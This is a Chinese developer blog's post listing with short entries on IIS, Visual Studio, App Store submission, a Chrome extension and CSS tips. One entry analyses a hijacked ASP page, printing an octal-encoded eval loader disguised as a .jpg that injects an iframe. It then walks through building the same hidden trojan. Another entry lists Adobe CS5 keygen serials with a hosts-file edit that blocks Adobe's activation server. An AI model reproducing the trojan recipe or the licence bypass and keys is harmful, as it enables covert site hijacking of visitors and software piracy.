博客 (759)

最近开发了一款 iPhone 客户端应用,提交到 App Store,被拒绝(Rejected)。然后修复问题后再次提交,仍然被拒绝,奇怪的是 Resolution Center 中的拒绝原因跟上次一模一样。


幸好我在应用中做了记录客户端信息的功能,查看后发现,IP 来自“美国Apple公司”的启动版本竟然是第一次提交的版本。于是我登录 iTunes Connect 跟苹果客服联系,对方回复他们打开的确实是有问题那个版本。


正当迷茫之时,无意中在 iTunes Connect 看到 Binary Details 这个按钮,点进去一看明白了。原来,虽然我在 Xcode 中重新上传了源文件,但是这里看到的仍然是旧版本。于是我点右上角的“Reject This Binary”按钮,重新通过 Xcode 上传源代码,过会儿再进入 Binary Details 查看,还是没有变化。苦恼中。


是不是 Xcode 中要做什么处理呢?我是新手,只知道点菜单栏上的三角形按钮是调试,具体要怎么使用 Debug / Release / Run / Test / Profile / Analyze / Archive 还真是不太明白,于是对这些功能一阵乱点,意外发现 Organizer 的 Archives 中项目的 Creation Data 变成了刚才的时间,而且下面也多了一条记录,赶紧 Distribute!


一柱香后再回头去看看 Binary Details,终于看到新版本的信息了。


Waiting For Review 中……

xoyozo 11 年前
11,107

设置方法:在“编辑”菜单上指向“大纲显示”,然后单击“启动自动大纲显示”。

xoyozo 11 年前
5,883
HTTP 错误 404.0 - Not Found
您要找的资源已被删除、已更名或暂时不可用


详细错误信息
模块 IIS Web Core
通知 MapRequestHandler
处理程序 StaticFile
错误代码 0x80070002


解决方法:
打开 Web.config 文件,
往 <configuration> 节点的 <system.webServer> 节点添加节点:
<modules runAllManagedModulesForAllRequests="true" />
12,237

Windows 7 使用 VS.NET 2003 开发项目时经常会遇到类似如下错误:

TestServer fatal error LNK1201: 写入程序数据库“d:\Projects\GameServer\data\TestServer.pdb”时出错;请检查是否是磁盘空间不足、路径无效或权限不够

在排除了空间、路径、权限等原因后仍然无法顺利生成项目,微软官方也没有提供相关的解决方案,Google 了好几天也找不到网友任何修复建议,今天偶然发现 MSDN 上一篇帖子,正是讨论这个问题,于是尝试按照上面的步骤进行操作,竟然真的可以!特分享给大家~

一、首先下载两个文件:Handle freepdb

二、解压这两个压缩包,并把“freepdb.cmd”和“handle.exe”两个文件移至同一目录下(如 C:\LNK1201\)

三、用 VS.NET 2003 打开一个项目,在解决方案资源管理器中项目文件上点右键属性,展开“生成事件”,点击“预生成事件”,在右侧命令行中填入“C:\LNK1201\freepdb TestServer”(注:将 TestServer 替换成您自己的项目名称)

四、完成!运行一下看看吧。如果仍然有问题,先双击运行这两个文件试试,因为我是先运行后再配置项目属性的,所以不确定不运行会不会出错。

如果上述文件无法下载,请联系 xoyozo 索取!Have fun!

xoyozo 13 年前
5,126

自 Vista 操作系统发布以来,不少 VC 开发者头痛 VS.NET 2003 与系统的兼容问题,比如较常用的“在文件中查找”(快捷键 Ctrl+Shift+F)会导致 VS.NET 无响应,这确实令开发过程不大顺利。其实完全不需要安装补丁或者插件就可以解决该问题:进入 VS.NET 的安装目录(可以从快捷方式的属性中点击“打开文件位置”);右击 devenv.exe 打开属性,切换到“兼容性”,在“禁用视觉主题”前打勾确定就行了。

xoyozo 13 年前
4,137
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 14 年前
4,743

本文介绍了如何开发一个简单的 Chrome 扩展(extension)。我们要实现我的功能是,当点击图标时显示一个动态的页面(层),效果如下:

安装 Chrome

虽然开发完成的扩展能在“稳定版”谷歌浏览器中使用,但是你必需安装“开发版”谷歌浏览器才能完成开发调试工作。

创建扩展

这一步,我们要在 Chrome 的工具栏上添加一个扩展的图标。

1,在你电脑上的任意位置创建一个文件夹。

2,在该文件夹下创建一个文本文件,并改名为“manifest.json”,然后添加内容:

{
  "name": "My First Extension",
  "version": "1.0",
  "description": "The first extension that I made.",
  "browser_action": {
    "default_icon": "icon.png"
  },
  "permissions": [
    "http://api.flickr.com/"
  ]
}

3,下载这个图标并保存至该文件夹下。

4,加载扩展。

  • 点击 Chrome 工具栏上的扳手按钮,选择“扩展程序(E)”
  • 在打开的页面右侧点击“开发人员模式”
  • 点击“载入正在开发的扩展程序”,浏览到刚才创建的文件夹目录,点击确定。

不出意外,Chrome 工具栏上将显示刚才的图标,但是现在点击它没有任何反应,我们继续。

5,这一步,我们要让它弹出一个页面,并显示一些内容。

  • 打开“manifest.json”文件,找到
      "browser_action": {
        "default_icon": "icon.png"
      },
    替换为
      "browser_action": {
        "default_icon": "icon.png",
        "popup": "popup.html"
      },
    保存关闭。
  • 然后创建一个名为“popup.html”的文件,内容是:
    <style>
      body { min-width: 357px; overflow-x: hidden; }
      img { margin: 5px; border: 2px solid black; vertical-align: middle; width: 75px; height: 75px; }
    </style>
    
    <script>
      var req = new XMLHttpRequest();
      req.open(
        "GET",
        "http://api.flickr.com/services/rest/?" +
            "method=flickr.photos.search&" +
            "api_key=90485e931f687a9b9c2a66bf58a3861a&" +
            "text=hello%20world&" +
            "safe_search=1&" +  // 1 is "safe"
            "content_type=1&" +  // 1 is "photos only"
            "sort=relevance&" +  // another good one is "interestingness-desc"
            "per_page=20",
        true);
      req.onload = showPhotos;
      req.send(null);
    
      function showPhotos() {
        var photos = req.responseXML.getElementsByTagName("photo");
    
        for (var i = 0, photo; photo = photos[i]; i++) {
          var img = document.createElement("image");
          img.src = constructImageURL(photo);
          document.body.appendChild(img);
        }
      }
    
      // See: http://www.flickr.com/services/api/misc.urls.html
      function constructImageURL(photo) {
        return "http://farm" + photo.getAttribute("farm") +
          ".static.flickr.com/" + photo.getAttribute("server") +
          "/" + photo.getAttribute("id") +
          "_" + photo.getAttribute("secret") +
          "_s.jpg";
      }
    </script>
  • 回到“扩展程序”页面,找到正在开发的扩展,点击“重新载入”。
  • 现在再点击 Chrome 工具栏上的图标试试。

如果没有出现应有效果,请再仔细检查每一步骤。怎么样,非常简单吧!

4,983

Adobe CS5 正式版已经发布快一个月了,但是官方在前几天才刚刚开放了下载地址,而且仅有英文版,因此目前还没有官方的中文版,昨天在网上找了 Adobe Fireworks CS5 简体中文正式版,下载过来也是英文的。今天想碰碰运气找找序列号,竟意外地发现在一个国外的网站上提供了 CS5 几乎所有软件的注册机,真是 NiuBility。欣喜之余立即转了过来分享给大家~

首先

注册之前必须先用记事本打开:C:\WINDOWS\System32\drivers\etc\hosts
并往文件底部插入一行:127.0.0.1 activate.adobe.com

提供几枚先
!!!KEYGENNED SUITE KEYS:

Adobe Master Collection CS5 (tam/CORE):
1325-1056-1721-5483-9561-1437
1325-1697-3070-1098-9235-2681
1325-1053-5574-1374-0738-5522

Adobe Production Premium CS5 (tam/CORE):
1328-1354-8980-4611-7999-9461
1328-1892-4564-0306-8662-6350
1328-1226-7796-3732-4210-1386

~~~~~~~~~~~

!!!KEYGENNED APP KEYS:

Adobe Contribute CS5 (tam/CORE):
1188-1379-4455-8095-5270-5876
1188-1950-8045-8637-2637-8020
1188-1335-7259-9409-4951-8039

Adobe Fireworks CS5 (tam/CORE):
1193-1084-4981-0714-3104-9930
1193-1467-1783-0212-2995-3642
1193-1259-5223-4748-0540-5065

Adobe Flash Catalyst CS5 (tam/CORE):
1395-4353-1506-8696-1696-5354
1395-4196-7716-8853-8314-6439
1395-4794-0416-4644-3356-5759

Adobe Illustrator CS5 (tam/CORE):
1034-1638-2536-3789-7332-0552
1034-1678-4702-3914-4860-7678
1034-1840-4333-8452-8585-3296

Adobe Photoshop CS5 Extended:
1330-1397-1014-7571-2817-1355
1330-1250-9206-4495-3796-9368
1330-1331-8999-1502-9478-2917

Adobe Flash Pro CS5:
1302-1445-0965-0690-4402-0847
1302-1624-0431-3332-4638-9106
1302-1136-2269-9942-6545-4889

Adobe DreamWeaver CS5:
1192-1147-3018-0779-2193-4575
1192-1026-3909-1273-5298-0418
1192-1324-2160-7298-8532-9714

Adobe InDesign CS5:
1037-1140-6820-9728-5246-6934
1037-1154-7427-5295-2060-8570
1037-1325-9186-3970-2037-7519

~~~~~~~~~~~

!!!KEYS FOR OTHER APPS:

Adobe Encore CS5:
1132-1127-8739-4724-1356-4304

Adobe Soundbooth CS5:
1332-1281-2401-7141-7851-9214

Adobe OnLocation CS5:
1132-1434-9226-7415-1756-2046
下载注册机

普通下载 迅雷下载

友情提示

以上提供的注册机来自国外网站,经本人用 360 木马云查杀以及 Microsoft Security Essentials 检查无异常。为安全起见,请下载后使用自己安装的杀毒软件再次扫描。

32,695

xoyozo 曾经写过 简单实现在 ASP.NET 中执行 URL 重写,文中提到使用微软的 URLRewriter.dll 来配置实现 ASP.NET 的 URL 重写,并以此扩展为任意扩展名及目录的 URL 重写。本文在此基础上再次扩展,使之支持泛域名解析。

首先,您的网站必需放在独立服务器或 VPS 中,虚拟空间可能不支持泛解析。

进入域名控制面板,配置 A 记录:通配符(*)星号解析到网站所在的 IP。

根据前文配置 URL 重写。

<configuration> 节点下配置:

<RewriterConfig>  
<Rules>  
<RewriterRule>   
<LookFor>http://([a-zA-Z0-9-]+)\.域名/</LookFor>  
<SendTo>~/u.aspx?u=$1</SendTo>  
</RewriterRule>  
</Rules>  
</RewriterConfig>
xoyozo 14 年前
4,983

使网页变灰色,只需要一句 css 代码:

html { filter: grayscale(1); }

在 I10 / IE11 上的兼容方案需要 grayscale.js,参考此文:http://www.cnblogs.com/wangmeijian/p/4324693.html

CSS 背景图片变灰:https://stackoverflow.com/questions/16340159/greyscale-background-css-images


xoyozo 14 年前
5,019